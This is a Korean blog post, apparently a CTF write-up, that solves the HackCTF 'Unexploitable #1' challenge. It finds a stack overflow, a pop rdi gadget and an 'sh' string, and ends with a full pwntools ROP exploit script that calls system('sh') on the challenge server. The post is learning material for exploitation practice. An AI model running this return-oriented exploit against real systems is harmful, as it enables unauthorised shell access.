ii4gsp

HackCTF - Unexploitable #1 본문

시스템 해킹/HackCTF

HackCTF - Unexploitable #1

ii4gsp 2020. 5. 5. 17:04

 

 

 

 

바이너리를 IDA로 열어보면 fgets() 함수로 s에 64byte만큼 입력을 받는다.

즉, 버퍼 오버플로우가 일어난다.

s ~ ret = 24

 

 

 

 

gift() 함수에서 system()함수를 호출한다.

 

 

 

 

system() 함수의 인자로 rdi 레지스터가 사용된다.

 

 

 

 

ROPgadget을 이용하여 pop rdi ; ret를 구해주자.

pop rdi ; ret = 0x00000000004007d3

 

 

 

 

.LOAD 영역을 보면 fflush() 함수의 문자열이 보인다.

fflush의 sh를 system() 함수의 인자로 넘겨주면 쉘이 획득할 수 있다.

'sh' = 0x00000000004003BF

 

 

 

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3023)
e = ELF('/mnt/c/CTF/Unexploitable_1')

system = e.plt['system']

payload = ''
payload += '\x90' * 0x18
payload += p64(0x00000000004007d3) # pop rdi ; ret
payload += p64(0x00000000004003BF) # sh
payload += p64(system) # system function call

r.sendline(payload)

r.interactive()

익스플로잇 코드를 작성해주자.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - RTC  (0) 2020.05.05
HackCTF - SysROP  (0) 2020.05.05
HackCTF - You are silver  (0) 2020.03.05
HackCTF - ROP  (0) 2020.02.21
HackCTF - UAF  (0) 2020.02.19
Comments